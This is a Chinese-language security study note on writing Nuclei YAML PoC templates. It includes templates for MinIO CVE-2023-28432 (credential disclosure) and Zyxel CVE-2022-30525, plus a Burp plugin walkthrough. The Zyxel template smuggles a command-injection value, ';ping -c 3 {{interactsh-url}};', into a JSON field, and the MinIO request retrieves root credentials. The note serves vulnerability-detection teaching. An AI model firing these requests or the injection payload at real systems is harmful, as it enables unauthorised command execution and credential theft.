小迪安全学习笔记(一百零二讲)—— 漏扫项目篇&PoC开发&Yaml语法&插件一键生成&匹配结果&交互提取

文章目录

前记

  • 今天是学习小迪安全的第一百零一天,本节课是关于漏洞发现中使用Yaml语法去编写PoC的内容
  • 主要是关于学习如何Yaml简单的语法,了解如何编写简单的PoC文件即可

漏洞发现------第一百零二天

漏扫项目篇&PoC开发&Yaml语法&插件一键生成&匹配结果&交互提取

前置知识

什么是Yaml语法
  • YAML 是一种用于配置文件的数据序列化格式,它以数据为中心,强调易读性,采用空格缩进来表示层级关系,且大小写敏感 。YAML 文件通常以 .yml或者.yaml 为后缀。
  • 建议在学习接下的知识之前看看这篇文章,先简单了解一下Yaml的大致语法以及规则:(11 封私信 / 80 条消息) 一文看懂 YAML - 知乎
  • 一个简单的Yaml文件:
yaml 复制代码
- name: John Doe
  job: Developer
  skills:
    - Python
    - DevOps
为什么Nuclei能够解析Yaml编写的PoC进行发包测试?
  • Nuclei 把 YAML 当成一种"领域专用模板语言":在 YAML 文件里按照固定字段写下 IDinfohttp/tcp/dns 等协议段,再填充 URLHeaderBody、匹配器(matchers)、提取器(extractors)等内容。
  • Nuclei 引擎读取模板时,会把这些字段解析成内部结构,然后:
    1. 用 Go 的 net/http(或对应协议库)按模板拼装请求;
    2. 把收到的响应交给匹配器/提取器做正则、关键字、状态码等判断;
    3. 一旦条件成立即报告漏洞
  • 因此"写 YAML"相当于在高层声明"发什么包、怎样算漏洞",真正的发包、收包、判断逻辑由 Nuclei 在底层完成;YAML 的易读、易维护、跨语言支持正好让安全研究员无需编码即可快速产出、共享 PoC

Nuclei - PoC开发-环境配置&编写流程

Nuclei - PoC开发-Yaml语法&匹配提取

介绍
  • YAML是一种数据序列化语言,它的基本语法规则注意如下
    1. 大小写敏感
    2. 使用缩进表示层级关系
    3. 缩进时不允许使用Tab键,只允许使用空格。
    4. 缩进的空格数目不重要,只要相同层级的元素左侧对齐即可
  • 编写PoC的Yaml模板一般包含如下描述性内容:
    1. 编号 id:描述该PoC的CVE、CNVD、AVD等的编号信息

    2. 信息 info:描述该PoC的基本信息,如摘要、作者、危害等级、关键词等等

    3. 请求 http、file、tcp等:描述该漏洞触发的请求方式

      • 可以直接发送原始数据包,用raw指定
      • 可以让它自己构造数据包,用method指定方法,path指定路径,headersbody指定请求头部、身体数据

    4. 匹配 matchers Interactsh

      • matchers-condition: and/or是描述匹配值的逻辑关系,and表示都匹配才符合;or表示只要有一个匹配就符合
      • matchers:描述匹配值的基本信息
    5. 提取 extractors:对结果提取页面长度、状态等来判断是否存在漏洞

开发流程
  • 然后我们开发 一个PoC的流程 如下:
    1. PoC模板套用修改:直接选一个官方写好的PoC模板,进去根据需求修改即可
    2. PoC创建独立编号
    3. PoC填写详细信息:根据该漏洞的信息填写
    4. PoC提交协议流程编写:填写以什么协议发送什么测试数据包的情况
    5. PoC结果匹配模式判断:填写响应包满足哪些条件可验证漏洞存在
    6. PoC结果提取模式判断
案例1:CVE-2023-28432(匹配结果)
http 复制代码
POST /minio/bootstrap/v1/verify HTTP/1.1
Host: your-ip:9000
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.5481.178 Safari/537.36
Connection: close
Cache-Control: max-age=0
Content-Type: application/x-www-form-urlencoded
Content-Length: 0
  • 如果响应体中包含MINIO_ROOT_USERMINIO_ROOT_PASSWORD关键字,那么就说明该漏洞存在
  • 所以随便找到一个PoC模板,当然因为该漏洞验证起来比较简单,也可以自己编写:
yaml 复制代码
id: CVE-2023-28432

info:
  name: MinIO Information Disclosure in Cluster Deployment
  author: ulin
  severity: HIGH
  description: None
  reference:
    - https://github.com/minio/minio/security/advisories/GHSA-6xvq-wj2x-3h3q
    - https://mp.weixin.qq.com/s/GNhQLuzD8up3VcBRIinmgQ

http:
  - raw:
    - |
      POST /minio/bootstrap/v1/verify HTTP/1.1
      Host: {{Hostname}}
      Accept-Encoding: gzip, deflate
      Accept: */*
      Accept-Language: en-US;q=0.9,en;q=0.8
      User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.5481.178 Safari/537.36
      Connection: close
      Cache-Control: max-age=0
      Content-Type: application/x-www-form-urlencoded
      Content-Length: 0


    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - MINIO_ROOT_USER
          - MINIO_ROOT_PASSWORD

      - type: status
        status:
          - 200
案例2:CVE-2022-30525(匹配交互)
  • 有的漏洞它可能是需要交互的,比如ping dns地址之类的,那这时候我们就不是像上面这样写死匹配响应体的数据了
  • 我们就需要用到Interactsh匹配器中的interactsh_protocol标签去匹配dnshttpsmtp等协议来验证漏洞是否存在
  • 比如这里的CVE-2022-30525,它就需要通过让目标解析dns地址来判断是否存在漏洞,那我们就可以编写如下yaml文件:
yaml 复制代码
id: CVE-2022-30525

info:
  name: CVE-2022-30525
  author: ulin
  severity: High
  description: None
  reference:
    - https://blog.csdn.net/weixin_43080961/article/details/124776553
  tags: zyxel, cve, rce

http:
  - raw:
      - |
        POST /ztp/cgi-bin/handler HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json
        {"command":"setWanPortSt","proto":"dhcp","port":"4","vlan_tagged":"1","vlanid":"5","mtu":"{{exploit}}","data":"hi"}
    payloads:
      exploit:
        - ";ping -c 3 {{interactsh-url}};"
    matchers:
      - type: word
        part: interactsh_protocol
        name: dns
        words:
          - "dns"
  • 我没有找到目标,只能给出小迪上课演示的图片:

Nuclei - PoC开发-BurpSuite一键生成插件

  • 当然,如果我们实在不想自己写PoC,我们也可以使用工具一键生成,比如burp中的插件nuclei-burp-pluginprojectdiscovery/nuclei-burp-plugin: Nuclei plugin for BurpSuite

  • 可以在BP的商店直接下载,也可以通过上面的连接下载之后导入:

  • 安装好之后,我们需要配置如下信息并保存:

  • 这里我们还是用刚才的CVE-2023-28432来做演示,我们先正常验证漏洞存在,然后选中响应包中验证漏洞存在的关键字"MINIO_ROOT_USER",右键选择刚刚的插件:

  • 它就会自动帮你写出符合的yaml文件:

  • 如果还想添加检测到的关键字,就再次重复刚才的操作,然后这里选择添加到Tab 1的匹配字段那里:

  • 这里就会多出一个匹配字段:

  • 但是插件毕竟还是比较死板的,对于一些复杂的验证方式,或者上面说的交互式的验证逻辑,可能还是需要人为去加以修改才行

相关推荐
里昆2 小时前
【COMSOL】结构力学仿真(压缩弹性体)案例心得
学习
肥肠可耐的西西公主4 小时前
后端(JavaWeb)学习笔记(CLASS 2):SpringBootWeb入门
笔记·学习
半夏知半秋4 小时前
skynet debug_console控制台中debug指令使用
服务器·开发语言·学习·lua
悠哉悠哉愿意4 小时前
【智能系统项目开发与学习记录】bringup功能包详解
学习·机器人·ros2
白云偷星子4 小时前
MySQL笔记11
数据库·笔记·mysql
半夏知半秋4 小时前
skynet.newservice接口分析
笔记·后端·学习·安全架构
我的xiaodoujiao5 小时前
从 0 到 1 搭建 Python 语言 Web UI自动化测试学习系列 15--二次开发--封装公共方法 3
python·学习·测试工具
立志成为大牛的小牛5 小时前
数据结构——十四、构造二叉树(王道408)
数据结构·笔记·学习·程序人生·考研
RanceGru5 小时前
LLM学习笔记5——本地部署ComfyUI和Wan2.1-T2V-1.3B文生视频模型
笔记·学习·stable diffusion·transformer